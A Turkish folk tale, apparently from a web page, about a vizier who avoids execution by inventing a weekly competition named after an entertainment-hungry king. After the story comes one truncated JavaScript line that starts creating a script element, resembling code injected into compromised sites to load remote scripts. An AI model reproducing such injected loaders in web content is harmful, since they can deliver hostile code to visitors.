Uzak diyarların birinde eğlenceye çok düşkün bir kral varmış. Bu kral vezirlerinden her hafta sonu mutlaka bir eğlence düzenlemelerini istermiş. Vezirler bir haftalık süre içerisinde bir eğlence bulup bunu hazırlamak zorundalarmış, aksi halde kendi canları tehlikeye girermiş.
O güne kadar kaç tane vezirin bu sebepten dolayı canı gitmiş. Kralın veziri olmak kelle koltukta dolaşmak demek olduğundan ülkedeki hiç kimse vezir olmak istemezmiş. Kralın şu andaki veziride yaptığı işten hiç memnun değilmiş çünkü bir gün aklına kralı avutacak bir eğlence gelmezse canından olacağını biliyormuş. Bu düşünce vezirin uykularını kaçırıyormuş. Vezir can güvenliği için ne yapıp ne edip bu soruna bir çözüm bulmalıymış. Birgün yine vezir evinde kara kara bu sorunu nasıl çözebileceğini düşünüyormuş. Hanımı vezirin bu düşünceli haline çok üzüldüğü için ona ne derdi olduğunu sormuş. Vezirde hanımına aklındaki düşünceleri anlatmış. Kadın eşini dikkatle dinledikten sonra; ” haklısın bey, ne yapıp edip bu soruna bir çözüm bulmalıyız. ” demiş. O günden sonra karı koca bu konuda ne yapacaklarını düşünüp durmuşlar.
Vezir kendi kendine, öyle bir eğlence bulmalıyım ki kral bundan hiç sıkılmasın ve ben de yeni eğlence bulmak zorunda kalmayayım diye düşünüyormuş. O hafta kralın hoşuna gidecek bir eğlence bulduğu için bir haftalığına hayatı güvendeymiş fakat o güne kadar nerdeyse denenmeyen eğlence kalmadığı için aklına yeni bir fikir de gelmiyormuş. Eğer birkaç güne kadar aklına değişik bir eğlence gelip de bunu tertip edemezse öleceğini biliyormuş. O gece vezirin gözüne bir damla uyku girmemiş, sürekli aklında; ” ben ölürsem karıma çocuklarıma ne olacak? ” sorusu varmış. Sabaha karşı vezirin aklına çok parlak bir fikir gelmiş. Her hafta devamı gelecek bir eğlence olursa, sürekli yeni eğlence bulma derdim olmaz ve can güvenliğim olur diye düşünmüş. Bu yarışmanın kralın adına düzenlenip, bir gelenek haline gelmesi durumunda kralın adı ölümsüz olacağı için bu fikrinin kabul görebileceğini düşünmüş. Sabah erkenden kalkmış ve saraya gitmiş. Kral uyanıp kahvaltısını yapar yapmaz onunla görüşmeyi istiyormuş, fikrinin kabul görüp görmeyeceğini çok merak ediyormuş. Vezir hayatının bu düşüncesinin kral tarafından beğenilmesine bağlı olduğunu biliyor ve bunun için dua ediyormuş. Vezirin aklına neden yarışma düşüncesi geldiğine bakacak olursak, vezir insanlar sürekli birbiriyle rekabet halinde olduğu için sıkılmayacakları tek eğlencenin yarışmak olduğu düşüncesinden yola çıkarak bu sonuca varmış.
Az sonra vezir kralın huzuruna çıkmış ve düşüncesini ona anlatmış. Kendi adına bir yarışma düzenlenmesi ve isminin ölümsüzleşmesi fikri kralın çok hoşuna gitmiş. Vezirine hemen bu düşüncesini hayata geçirmek için gerekli çalışmaları yapmasını söylemiş. Fikrinin kabul edilmesi sonucu vezir rahat bir nefes almış ve hemen vakit kaybetmeden yarışma için hazırlıklara başlamış. O haftanın yarışmasını belirlemiş ve hemen halka duyuru yapılmasını sağlamış. Yarışmaya katılmak isteyenler saraya gidip isimlerini yazdırmışlar ve heyecanla yarışma için hazırlanmaya başlamışlar. Akıllı vezir bu fikri sayesinde hem hayatını kurtarmış hem de kral ve halk için sürekli devam edebilecek güzel bir eğlence bulmuş.
Düzenlenen bu yarışma sadece vezirin hayatını kurtarmakla kalmamış. O günden sonra düzenlenen yarışma sayesinde yoksul halk da sarayın eğlencelerine katılma ve yarışmada ödül kazanma imkanı bulmuş. Kral halkıyla birlikte eğlenmekten ve isminin ölümsüzleşmesinden dolayı çok mutluymuş. Akıllı vezirini bu düşüncesinden dolayı kutlamış ve ona hayatı boyunca rahat yaşayabileceği kadar çok altın vermiş. O güne kadar ölüm korkusuyla yaşayan vezir de aklı sayesinde huzura ve rahata kavuşmuş. Tüm bu yaşananlar ona ve karısına, aklın en büyük hazine olduğunu ve insan aklının çözüm bulamayacağı sorun olmadığını öğretmiş.
var d=document;var s=d.createElement(‘script’);
Yorum Yok